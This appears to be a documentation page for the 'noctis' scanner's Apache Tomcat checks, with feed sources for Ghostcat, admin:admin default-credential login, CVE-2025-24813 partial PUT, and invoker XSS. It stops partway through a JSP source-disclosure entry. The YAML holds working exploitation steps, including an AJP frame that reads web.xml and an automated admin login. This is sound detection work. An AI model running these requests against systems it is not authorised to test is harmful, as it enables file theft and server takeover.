Apache Tomcat — 8 vulnerability checks
noctis ships 8 vulnerability checks for Apache Tomcat, covering 15 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Apache Tomcat AJP Ghostcat file read
| CVE | CVE-2020-1938 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | ajp13 |
| Detection | script, tcp_dialogue, sleep, match · highest QoD 75 |
| Feed | tests/vulnerabilities/tomcat/CVE-2020-1938.yaml |
The Apache Tomcat AJP connector accepts unauthenticated requests carrying javax.servlet.include.* attributes, letting a remote attacker read (or, with an upload primitive, include as JSP) any file under a webapp directory. The feed reads /WEB-INF/web.xml through the AJP connector to confirm it.
How noctis detects it
- Parses / computes the next value with a Rhai script
- TCP dialogue: one binary protocol frame
- Parses / computes the next value with a Rhai script
- TCP dialogue: one binary protocol frame
- Parses / computes the next value with a Rhai script
- Checks
res.web_xmlfor^true$→ finding QoD 75: Apache Tomcat AJP Ghostcat file read (CVE-2020-1938)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-1938
- https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.31
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/tomcat/CVE-2020-1938.yaml
# Apache Tomcat AJP "Ghostcat" file read/inclusion (CVE-2020-1938).
#
# Ported from OpenVAS/Greenbone NVT `2020/apache/gb_apache_tomcat_ajp_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.143545, GPL-2.0-only) — same AJP13 FORWARD_REQUEST
# frame, same request attributes, same reply offsets.
#
# Exploitation proof (benign, read-only): the frame asks the AJP connector to
# *include* /WEB-INF/web.xml through the javax.servlet.include.* request
# attributes. A vulnerable connector trusts those attributes and the
# DefaultServlet streams back the webapp descriptor, a file that is never
# served over HTTP. The NASL stops at "SEND_HEADERS with status 200"; this feed
# additionally requires the returned body to contain `<web-app`, i.e. the file
# was actually read. Nothing is written; the file content is not copied into the
# evidence (web.xml can hold credentials), only its size and the marker.
# A fixed Tomcat (7.0.100 / 8.5.51 / 9.0.31+) rejects the request with 403
# (secretRequired / unknown request attribute) or has the connector disabled.
# Limitation (same as the NASL): URI "/" maps to the ROOT webapp, so a
# vulnerable Tomcat with no ROOT application answers 404 and is not reported.
#
# Request frame (client → server), magic 0x1234 + u16be length + body:
# 02 FORWARD_REQUEST, 02 GET, "HTTP/1.1", uri "/", remote_addr "127.0.0.1",
# remote_host ff ff (null), server_name <target_host>, port 80, is_ssl 0,
# 2 headers (SC_REQ_HOST a00b = <target_host>, Accept-Encoding: identity),
# attributes (0x0a): AJP_REMOTE_PORT=38434,
# javax.servlet.include.servlet_path=/WEB-INF/web.xml,
# javax.servlet.include.request_uri=1, then ff (end of attributes).
# Strings are u16be length + bytes + 00.
#
# Reply (server → client), packets "AB" + u16be length + payload:
# byte 4 prefix code, 04 = SEND_HEADERS hex 8..9
# bytes 5..6 u16be HTTP status hex 10..13
# then SEND_BODY_CHUNK (03) packets carrying the file, END_RESPONSE (05).
uid: bfbff72c-8e81-4e41-aa70-0d821619a937
name: "Apache Tomcat AJP Ghostcat file read (CVE-2020-1938)"
description: |
The Apache Tomcat AJP connector accepts unauthenticated requests carrying
javax.servlet.include.* attributes, letting a remote attacker read (or, with
an upload primitive, include as JSP) any file under a webapp directory. The
feed reads /WEB-INF/web.xml through the AJP connector to confirm it.
cves: [CVE-2020-1938]
cvss: 9.8
severity: critical
confidence_base: 0.35
category: file-read
tags: [tomcat, ajp, ghostcat, file-read, lfi, kev, intrusive]
services: [ajp13]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-1938"
- "https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.31"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
steps:
# Build the FORWARD_REQUEST frame as hex; server name / Host = target_host,
# as the NASL does with the scanned host name.
- id: build-frame
action: script
store_as: ajp_req
code: |
let host = hexstr(target_host);
let hlen = p16be(strlen(target_host));
let body = "0202";
body += "0008" + hexstr("HTTP/1.1") + "00";
body += "0001" + hexstr("/") + "00";
body += "0009" + hexstr("127.0.0.1") + "00";
body += "ffff";
body += hlen + host + "00";
body += "0050" + "00" + "0002";
body += "a00b" + hlen + host + "00";
body += "000f" + hexstr("Accept-Encoding") + "00";
body += "0008" + hexstr("identity") + "00";
body += "0a" + "000f" + hexstr("AJP_REMOTE_PORT") + "00";
body += "0005" + hexstr("38434") + "00";
body += "0a" + "0022" + hexstr("javax.servlet.include.servlet_path") + "00";
body += "0010" + hexstr("/WEB-INF/web.xml") + "00";
body += "0a" + "0021" + hexstr("javax.servlet.include.request_uri") + "00";
body += "0001" + hexstr("1") + "00";
body += "ff";
#{ hex: "1234" + p16be(strlen(body) / 2) + body }
- id: ajp-forward-request
action: tcp_dialogue
port: "{{port}}"
tls: false
read_banner: false
timeout_secs: 10
send_hex: "{{ajp_req.hex}}"
store_as: ajp
# Returns a map stored as `res`:
# ajp bool — the reply is an AJP SEND_HEADERS packet
# status int — HTTP status carried by SEND_HEADERS
# web_xml bool — the body carries the webapp descriptor (<web-app)
# length int — reply size in bytes
- id: parse-reply
action: script
condition: "ajp.connected == true"
store_as: res
code: |
let hex = if type_of(ajp.response_hex) == "string" { tolower(ajp.response_hex) } else { "" };
let ok = strlen(hex) >= 14 && substr(hex, 0, 3) == "4142" && substr(hex, 8, 9) == "04";
let status = if ok { u16be(substr(hex, 10, 13)) } else { 0 };
let text = if type_of(ajp.responses) == "array" && ajp.responses.len() > 0 { ajp.responses[0] } else { "" };
#{
ajp: ok,
status: status,
web_xml: ok && status == 200 && strstr(text, "<web-app") != "",
length: strlen(hex) / 2
}
# tcp_dialogue ends a reply on the first 500 ms idle gap, including before the
# first byte. A cold Tomcat (first request after start-up) answers later than
# that, so the first attempt comes back empty; give it a moment and retry once.
- id: wait-before-retry
action: sleep
condition: "res.ajp == false"
duration_ms: 2000
- id: ajp-forward-request-retry
action: tcp_dialogue
condition: "res.ajp == false"
port: "{{port}}"
tls: false
read_banner: false
timeout_secs: 10
send_hex: "{{ajp_req.hex}}"
store_as: ajp_retry
- id: parse-reply-retry
action: script
condition: "res.ajp == false && ajp_retry.connected == true"
store_as: res
code: |
let hex = if type_of(ajp_retry.response_hex) == "string" { tolower(ajp_retry.response_hex) } else { "" };
let ok = strlen(hex) >= 14 && substr(hex, 0, 3) == "4142" && substr(hex, 8, 9) == "04";
let status = if ok { u16be(substr(hex, 10, 13)) } else { 0 };
let text = if type_of(ajp_retry.responses) == "array" && ajp_retry.responses.len() > 0 { ajp_retry.responses[0] } else { "" };
#{
ajp: ok,
status: status,
web_xml: ok && status == 200 && strstr(text, "<web-app") != "",
length: strlen(hex) / 2
}
- id: check-file-read
action: match
source: res.web_xml
pattern: "^true$"
condition: "res.ajp == true"
on_match:
finding:
title: "Apache Tomcat AJP Ghostcat file read (CVE-2020-1938)"
description: "The AJP connector honoured javax.servlet.include.* request attributes from an unauthenticated client and returned /WEB-INF/web.xml, a file never served over HTTP. Any file under the webapp directories can be read this way, and included as JSP when an upload primitive exists."
remediation: "Upgrade Apache Tomcat to 7.0.100, 8.5.51, 9.0.31 or later. Disable the AJP connector if unused, otherwise bind it to localhost and set a 'secret' (secretRequired=true), and block port 8009 at the firewall."
confidence_delta: 0.50
qod: 75
evidence: "AJP13 FORWARD_REQUEST including /WEB-INF/web.xml → SEND_HEADERS status {{res.status}}, {{res.length}}-byte reply containing <web-app (descriptor content not copied)"Apache Tomcat Server Administration Default/Hardcoded Credentials
| CVE | CVE-2009-3099, CVE-2009-3548, CVE-2009-3843, CVE-2009-4188, CVE-2009-4189, CVE-2010-0557, CVE-2010-4094 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | default-credentials — Default credentials |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/tomcat/CVE-2009-3099.yaml |
The Apache Tomcat Server Administration application accepts default or known hardcoded credentials. The check logs in to /admin/ via j_security_check with the default admin:admin credential and confirms it reaches the authenticated administration UI (/admin/banner.jsp), proving default-credential access rather than mere product presence.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /admin/ HTTP/1.0 - Checks
admin_resp.bannerforTomcat (Web )?Server Administration - Checks
admin_resp.bannerforJSESSIONID=([0-9A-Za-z]+) - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /admin/j_security_check;jsessionid={{jsessionid}} HTTP/1.0 - Checks
auth_resp.bannerfor\b302\b - Checks
auth_resp.bannerfor/admin/error\.jsp - Raw TCP (TLS on HTTPS), sent verbatim:
GET /admin/banner.jsp HTTP/1.0 - Checks
banner_resp.bannerforaction.+(/admin/|')(commitChanges|logOut|setLocale)\.do→ finding QoD 75: Logged in to /admin/ with default credential admin:admin and reached the authenticated administration UI (/admin/banner.jsp): …
References:
Feed source — tests/vulnerabilities/tomcat/CVE-2009-3099.yaml
# Apache Tomcat Server Administration — default/hardcoded credentials.
#
# Detection (ported faithfully from OpenVAS/Greenbone NASL
# 2015/apache/sw_tomcat_admin_default_credentials.nasl, GPL-2.0-only):
# 1. GET /admin/ — confirm the administration app is present by its
# fingerprint ("Tomcat Server Administration" / "Tomcat Web Server
# Administration Tool") and extract the issued JSESSIONID.
# 2. POST /admin/j_security_check;jsessionid=<id> with the default credential
# (j_username=admin&j_password=admin) and the session cookie. A form-auth
# login succeeds only when the redirect is a 302 whose Location is NOT
# /admin/error.jsp (Tomcat sends every failed login back to error.jsp).
# 3. GET /admin/banner.jsp with the authenticated cookie and confirm the
# administrative UI is reached: the page references admin actions
# (commitChanges / logOut / setLocale .do).
# The finding keys on the authenticated admin content reached with the
# default credential — NOT on the mere presence of a JSESSIONID cookie,
# which any Tomcat admin app issues regardless of its password.
# Header/cookie/redirect-location greps are done over the raw response via
# tcp_connect (auto-wraps TLS for https) matched on resp.banner.
uid: 3914d0f0-03ce-4856-82ca-b22d06a20455
name: "Apache Tomcat Server Administration Default/Hardcoded Credentials (CVE-2009-3099)"
description: |
The Apache Tomcat Server Administration application accepts default or known
hardcoded credentials. The check logs in to /admin/ via j_security_check with
the default admin:admin credential and confirms it reaches the authenticated
administration UI (/admin/banner.jsp), proving default-credential access
rather than mere product presence.
cves:
- CVE-2009-3099
- CVE-2009-3548
- CVE-2009-3843
- CVE-2009-4188
- CVE-2009-4189
- CVE-2010-0557
- CVE-2010-4094
cvss: 10.0
severity: critical
confidence_base: 0.30
category: default-credentials
tags: [apache, tomcat, default-credentials, admin]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-3099"
- "OpenVAS/Greenbone NASL 2015/apache/sw_tomcat_admin_default_credentials.nasl (GPL-2.0-only)"
steps:
# Initialise every flag referenced in a later condition so the Rhai engine
# never throws on an undefined variable (CLAUDE.md pitfall).
- id: init-admin-found
action: set_var
var_name: admin_found
var_value: false
- id: init-sess-found
action: set_var
var_name: sess_found
var_value: false
- id: init-authed
action: set_var
var_name: authed
var_value: false
- id: init-rejected
action: set_var
var_name: rejected
var_value: false
# Step 1: GET /admin/ — grab the login page, its fingerprint and the cookie.
- id: admin-probe
action: tcp_connect
port: "{{port}}"
send: "GET /admin/ HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: admin_resp
# Confirm the Tomcat administration app is actually present (NASL requires the
# "Tomcat (Web )Server Administration" title before attempting a login).
- id: fingerprint
action: match
source: admin_resp.banner
pattern: "Tomcat (Web )?Server Administration"
on_match:
set_vars:
admin_found: true
# Extract the JSESSIONID issued by the admin app (used only to carry the
# session into the login POST — it is never the finding signal itself).
- id: jsessionid-extract
action: match
source: admin_resp.banner
pattern: "JSESSIONID=([0-9A-Za-z]+)"
condition: "admin_found == true"
store_as: jsess_match
on_match:
set_vars:
sess_found: true
- id: jsessionid-store
action: script
code: 'jsess_match["captures"][0]'
store_as: jsessionid
condition: "sess_found == true"
# Step 2: submit the default credential via form-based j_security_check.
# Body "j_username=admin&j_password=admin" = 33 bytes.
- id: login
action: tcp_connect
port: "{{port}}"
send: "POST /admin/j_security_check;jsessionid={{jsessionid}} HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: JSESSIONID={{jsessionid}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\n\r\nj_username=admin&j_password=admin"
store_as: auth_resp
condition: "sess_found == true"
# A form-auth login produces a 302 redirect. Tomcat sends FAILED logins to
# /admin/error.jsp; a success redirects elsewhere. Require a 302 whose
# Location is NOT error.jsp (exactly the NASL's acceptance criterion).
- id: redirect-302
action: match
source: auth_resp.banner
pattern: "\\b302\\b"
condition: "sess_found == true"
on_match:
set_vars:
authed: true
- id: redirect-error
action: match
source: auth_resp.banner
pattern: "/admin/error\\.jsp"
condition: "sess_found == true"
on_match:
set_vars:
rejected: true
# Step 3: with the now-authenticated session, fetch the admin banner page.
- id: banner
action: tcp_connect
port: "{{port}}"
send: "GET /admin/banner.jsp HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: JSESSIONID={{jsessionid}}\r\n\r\n"
store_as: banner_resp
condition: "authed == true && rejected == false"
# The authenticated administration UI references admin actions. Matching this
# proves the default credential reached the protected admin area.
- id: confirm
action: match
source: banner_resp.banner
pattern: "action.+(/admin/|')(commitChanges|logOut|setLocale)\\.do"
condition: "authed == true && rejected == false"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Logged in to /admin/ with default credential admin:admin and reached the authenticated administration UI (/admin/banner.jsp): {{banner_resp.banner}}"
stop: trueApache Tomcat partial PUT path equivalence
| CVE | CVE-2025-24813 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/tomcat/CVE-2025-24813.yaml |
Detects Apache Tomcat servers whose DefaultServlet accepts writes (readonly=false) and stage partial PUT uploads in a temporary file named after the request path that outlives the request. This predictable file is the first stage of the CVE-2025-24813 chain: an attacker who plants a serialized object there can have it deserialized through a JSESSIONID cookie when file-based session persistence is enabled, leading to remote code execution, or can view and inject content into files uploaded under other paths. The test writes a random 24-byte file in two partial PUT requests, deleting the file between them. A vulnerable server reuses the temporary file of the first request, so the file read back holds both random markers; a fixed server holds only the second one. The test file is deleted afterwards; a vulnerable server keeps a 24-byte temporary copy in its work directory until Tomcat restarts.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
PUT /noctis-{{oob_token}}.txtwith a crafted body - HTTP(S) request
DELETE /noctis-{{oob_token}}.txt - HTTP(S) request
GET /noctis-{{oob_token}}.txt - HTTP(S) request
PUT /noctis-{{oob_token}}.txtwith a crafted body - HTTP(S) request
GET /noctis-{{oob_token}}.txt - HTTP(S) request
DELETE /noctis-{{oob_token}}.txt - Checks
readback.bodyfor^NX[0-9a-f]{10}NY[0-9a-f]{10}$→ finding QoD 75: Two partial PUTs to /noctis-….txt (bytes 0-11, then bytes 12-23 after a DELETE) read back as …: the second write reused the first request's…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2025-24813
- https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
- https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.99
- https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html
Feed source — tests/vulnerabilities/tomcat/CVE-2025-24813.yaml
# Apache Tomcat partial PUT path equivalence (CVE-2025-24813).
#
# Root cause (DefaultServlet.executePartialPut, 9.0.98 vs 9.0.99): a partial PUT
# (Content-Range) is staged in a temp file named after the request path with
# '/' turned into '.', created with createNewFile() and never deleted after the
# request. The fix stages each partial PUT in a fresh File.createTempFile()
# and deletes it. That stale, predictable file is what the published exploit
# reaches as <workdir>/.<name>.session through a JSESSIONID cookie.
#
# Proof without any deserialization: partial PUT bytes 0-11 of a 24-byte file
# (marker A), DELETE the resource, check it is gone (404), then partial PUT
# bytes 12-23 (marker B) to the same path. A vulnerable server reuses the
# stale temp file, so the resource reads back A+B; a fixed one starts from an
# empty temp file and reads back 12 NUL bytes + B. The resource is deleted
# afterwards; on a vulnerable server the 24-byte temp file stays in Tomcat's
# work directory until Tomcat stops (deleteOnExit), as with any partial PUT.
#
# Replaces a check that keyed on a mock-only marker in the 201 body (#2350):
# real Tomcat answers 201/204 with an empty body, and a fixed Tomcat with a
# writable DefaultServlet answers 201 too, so neither status nor body alone
# tells vulnerable from fixed.
uid: 6d2e9c4f-1b7a-4083-a5e2-8f3c1d0b7e9a
name: "Apache Tomcat partial PUT path equivalence (CVE-2025-24813)"
description: |
Detects Apache Tomcat servers whose DefaultServlet accepts writes
(readonly=false) and stage partial PUT uploads in a temporary file named
after the request path that outlives the request. This predictable file is
the first stage of the CVE-2025-24813 chain: an attacker who plants a
serialized object there can have it deserialized through a JSESSIONID
cookie when file-based session persistence is enabled, leading to remote
code execution, or can view and inject content into files uploaded under
other paths.
The test writes a random 24-byte file in two partial PUT requests, deleting
the file between them. A vulnerable server reuses the temporary file of the
first request, so the file read back holds both random markers; a fixed
server holds only the second one. The test file is deleted afterwards; a
vulnerable server keeps a 24-byte temporary copy in its work directory
until Tomcat restarts.
cves: [CVE-2025-24813]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [tomcat, put, deserialization, rce, kev, java, intrusive]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-24813"
- "https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq"
- "https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.99"
- "https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html"
steps:
# Two 12-character random markers (24 bytes in all): marker A fills bytes
# 0-11, marker B bytes 12-23.
- id: mint-a
action: script
code: '"NX" + rand_hex(5)'
store_as: mark_a
- id: mint-b
action: script
code: '"NY" + rand_hex(5)'
store_as: mark_b
# {{oob_token}} is a per-run UUID: the test file never collides with an
# existing resource or a concurrent scan.
- id: put-first
action: http_request
method: PUT
path: /noctis-{{oob_token}}.txt
port: "{{port}}"
tls_insecure: true
follow_redirects: false
headers:
Content-Range: "bytes 0-11/24"
Content-Type: "application/octet-stream"
body: "{{mark_a}}"
store_as: put1
- id: delete-first
action: http_request
condition: "put1.status == 201 || put1.status == 204"
method: DELETE
path: /noctis-{{oob_token}}.txt
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: del1
# The resource must really be gone, otherwise the second partial PUT would
# copy marker A back from the resource itself on any version.
- id: check-gone
action: http_request
condition: "del1.status == 200 || del1.status == 204"
method: GET
path: /noctis-{{oob_token}}.txt
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: gone
- id: put-second
action: http_request
condition: "gone.status == 404"
method: PUT
path: /noctis-{{oob_token}}.txt
port: "{{port}}"
tls_insecure: true
follow_redirects: false
headers:
Content-Range: "bytes 12-23/24"
Content-Type: "application/octet-stream"
body: "{{mark_b}}"
store_as: put2
- id: read-back
action: http_request
condition: "put2.status == 201 || put2.status == 204"
method: GET
path: /noctis-{{oob_token}}.txt
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: readback
# Remove the test file whatever the outcome (any write above may have left it).
- id: cleanup
action: http_request
condition: "put1.status == 201 || put1.status == 204"
method: DELETE
path: /noctis-{{oob_token}}.txt
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: cleanup_resp
# Vulnerable: the second write started from the first request's stale temp
# file, so the file holds marker A + marker B. Fixed: NUL bytes + marker B.
- id: stale-temp-file
action: match
condition: "readback.status == 200 && readback.body == mark_a + mark_b"
source: readback.body
pattern: "^NX[0-9a-f]{10}NY[0-9a-f]{10}$"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Two partial PUTs to /noctis-{{oob_token}}.txt (bytes 0-11, then bytes 12-23 after a DELETE) read back as {{readback.body}}: the second write reused the first request's temporary file, named after the request path"Apache Tomcat /servlet/ invoker error page cross-site scripting
| CVE | CVE-2002-0682 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | xss — XSS |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/tomcat/CVE-2002-0682.yaml |
Tests Apache Tomcat 4 for the cross-site scripting in the error page of the invoker servlet (/servlet/*). When the invoker is asked to load a container class that is not a servlet, such as org.apache.catalina.ContainerServlet, Tomcat answers with an error page whose exception stack trace repeats the requested path without HTML escaping. The feed sends /servlet/org.apache.catalina.ContainerServlet/ and /servlet/org.apache.catalina.Context/, in the root and /examples web applications, followed by an inert HTML tag holding a random marker, as a raw request line so the angle brackets reach the server unencoded. It reports the server when that tag comes back unescaped on the ServletException line of the reply. A control request with the same tag under a random absent path must not reflect it, so a server that echoes every URL is not reported. The tag does nothing and only reaches the scanner.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{cur.path}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /noctis-absent-{{sc.marker}}/{{sc.tag}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
hitfor/servlet/org\.apache\.catalina\.(ContainerServlet|Context)/<noctis[0-…→ finding QoD 75: Apache Tomcat /servlet/ invoker error page cross-site scripting (CVE-2002-0682)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2002-0682
- http://www.securityfocus.com/bid/5193
- https://tomcat.apache.org/security-4.html
Feed source — tests/vulnerabilities/tomcat/CVE-2002-0682.yaml
# Apache Tomcat 4.0.x/4.1.x /servlet/ invoker error-page cross-site scripting — CVE-2002-0682
#
# The invoker servlet (mapped on /servlet/* by Tomcat 4's conf/web.xml up to 4.1.10, and by
# the examples webapp's own web.xml) loads the class named after /servlet/. For a container
# interface such as org.apache.catalina.ContainerServlet the instantiation fails
# (InstantiationException) and InvokerServlet.serveRequest() throws
# new ServletException("Cannot allocate servlet instance for path " + requestURI, cause)
# The ErrorReportValve then prints the exception stack trace into a <pre> block of the 500
# error page without HTML escaping (only the status message is filtered), so the raw request
# URI — and any markup in it — is reflected as HTML. Source checked: jakarta-tomcat-4.0.3,
# 4.0.4 and 4.1.10 InvokerServlet.java / ErrorReportValve.java (archive.apache.org). Tomcat
# 4.0.5 and 4.1.12 answer 404 for any org.apache.catalina.* class requested through the
# invoker (status message filtered), which closes this URL; the stack trace itself is still
# printed unescaped in those releases.
#
# Detection (benign — the injected element is an inert, random tag only the scanner sees):
# GET <ctx>/servlet/<class>/<noctisXXXX> sent raw over tcp_connect (reqwest would
# percent-encode "<" and ">", and Tomcat reflects getRequestURI() undecoded), for the ROOT
# and /examples contexts and the ContainerServlet / Context interfaces. A finding needs the
# unescaped tag on a line of the reply that also holds "ServletException" (the stack trace
# line), and a control request with the same tag under a random absent path must not
# reflect it raw (generic reflectors, honeypots). QoD 75.
#
# Improvements over the reference check: random marker per scan instead of a fixed
# <SCRIPT>alert(document.domain)</SCRIPT>; the tag must sit on the ServletException line,
# not anywhere in the page; the /examples context is tried too (Tomcat 4.1.12+ maps the
# invoker only there); a raw (not percent-encoded) request line so the URI really carries
# "<" and ">"; fail-closed reflector control.
#
# CVSS: CVE-2002-0682 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/apache_Tomcat_Servlet_XSS.nasl
# (OID 1.3.6.1.4.1.25623.1.0.11041, GPL-2.0-only).
uid: 91cbea1d-72dc-48bd-87c8-212cbe874f54
name: "Apache Tomcat /servlet/ invoker error page cross-site scripting (CVE-2002-0682)"
description: |
Tests Apache Tomcat 4 for the cross-site scripting in the error page of the invoker servlet
(/servlet/*). When the invoker is asked to load a container class that is not a servlet,
such as org.apache.catalina.ContainerServlet, Tomcat answers with an error page whose
exception stack trace repeats the requested path without HTML escaping. The feed sends
/servlet/org.apache.catalina.ContainerServlet/ and /servlet/org.apache.catalina.Context/,
in the root and /examples web applications, followed by an inert HTML tag holding a random
marker, as a raw request line so the angle brackets reach the server unencoded. It reports
the server when that tag comes back unescaped on the ServletException line of the reply. A
control request with the same tag under a random absent path must not reflect it, so a
server that echoes every URL is not reported. The tag does nothing and only reaches the scanner.
cves: [CVE-2002-0682]
cvss: 7.5
severity: high
category: xss
confidence_base: 0.30
tags: [apache, tomcat, invoker, xss, reflected-xss, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2002-0682"
- "http://www.securityfocus.com/bid/5193"
- "https://tomcat.apache.org/security-4.html"
# OpenVAS/Greenbone NASL pre2008/apache_Tomcat_Servlet_XSS.nasl (GPL-2.0-only)
steps:
# ── Random marker and the inert tag to inject ────────────────────────────
- id: gen-marker
action: script
code: |
let m = "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4);
#{ marker: m, tag: "<" + m + ">" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit
var_value: ""
# ── Loop group: one pass per context × container interface ───────────────
- id: init-probe-r
action: set_var
var_name: probe_r
var_value: {connected: false, banner: ""}
loop:
var: target
over:
- "|org.apache.catalina.ContainerServlet"
- "/examples|org.apache.catalina.ContainerServlet"
- "|org.apache.catalina.Context"
- "/examples|org.apache.catalina.Context"
- id: build-url
action: script
code: |
let parts = split(target, "|");
#{ path: parts[0] + "/servlet/" + parts[1] + "/" + sc.tag }
store_as: cur
- id: probe
action: tcp_connect
port: "{{port}}"
condition: 'hit == ""'
send: "GET {{cur.path}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: probe_r
# The raw tag must sit on a reply line that also names ServletException (the first line of
# the stack trace: "javax.servlet.ServletException: Cannot allocate servlet instance for
# path <uri>"); keep the first URL that does.
- id: check
action: script
condition: 'hit == ""'
code: |
let body = if type_of(probe_r.banner) == "string" { probe_r.banner } else { "" };
let found = "";
if body.contains(sc.tag) {
for line in split(body, "\n") {
if found == "" && line.contains(sc.tag) && line.contains("ServletException") {
found = cur.path;
}
}
}
found
store_as: hit
# ── After the loop: reflector control, then the finding ──────────────────
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {connected: false, banner: ""}
loop:
var: pass
over: ["once"]
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
- id: control
action: tcp_connect
port: "{{port}}"
condition: 'hit != ""'
send: "GET /noctis-absent-{{sc.marker}}/{{sc.tag}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: ctrl_r
# Fail-closed: the control must have answered (an HTTP status line) without the raw tag.
- id: control-check
action: script
condition: 'hit != ""'
code: |
let body = if type_of(ctrl_r.banner) == "string" { ctrl_r.banner } else { "" };
body.starts_with("HTTP/") && !body.contains(sc.tag)
store_as: ctrl_clean
- id: report
action: match
source: hit
pattern: "/servlet/org\\.apache\\.catalina\\.(ContainerServlet|Context)/<noctis[0-9a-f]+>$"
condition: "ctrl_clean == true"
on_match:
finding:
title: "Apache Tomcat /servlet/ invoker error page cross-site scripting (CVE-2002-0682)"
description: "A request for a container class through Tomcat's invoker servlet, followed by an HTML tag holding a random marker, returned an error page whose ServletException stack trace repeats the request path with the tag unescaped, while the same tag under an absent path was not reflected. An attacker can send a link that runs any script in the Tomcat site's origin, for example to steal session cookies of the applications it hosts."
remediation: "Upgrade Apache Tomcat to a supported release (Tomcat 4 is end of life; 4.0.5 and 4.1.12 refuse container classes through the invoker). Until then disable the invoker servlet: comment out its /servlet/* servlet-mapping in conf/web.xml and in each web application's WEB-INF/web.xml (the examples webapp declares its own), and remove the examples webapp."
confidence_delta: 0.50
qod: 75
evidence: "GET {{hit}} (sent raw) returned the tag {{sc.tag}} unescaped on the ServletException stack trace line; GET /noctis-absent-{{sc.marker}}/{{sc.tag}} did not reflect it"
stop: trueApache Tomcat 4.x JSP source disclosure via the invoker and default servlets
| CVE | CVE-2002-1148, CVE-2002-1394 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/tomcat/tomcat-invoker-jsp-source-disclosure.yaml |
Apache Tomcat 4.0.x and 4.1.x up to 4.1.12 let the invoker servlet (/servlet/*) start the default file servlet by its class name (CVE-2002-1148) or by its registered name "default" (CVE-2002-1394); that servlet then returns the raw source of any file of the web application, JSP pages included. For the ROOT index.jsp and the example JSPs that Tomcat 4 ships, the feed requests /servlet/org.apache.catalina.servlets.DefaultServlet/ and /servlet/default/ followed by the page path, and reports the URL when the reply contains JSP source code (<%@, <%=, <% … %> or <jsp:…> tags). The same page fetched normally must exist and must not show JSP source, so a server that never runs JSPs or answers every request with the same content is not reported. Nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{cur.classname}} - HTTP(S) request
GET {{cur.named}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{cur.direct}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
hit_classname.urlfor^/.*/servlet/org\.apache\.catalina\.servlets\.DefaultServlet/|^/servl…→ finding QoD 75: Apache Tomcat JSP source disclosure via the DefaultServlet class name (CVE-2002-1148) - Checks
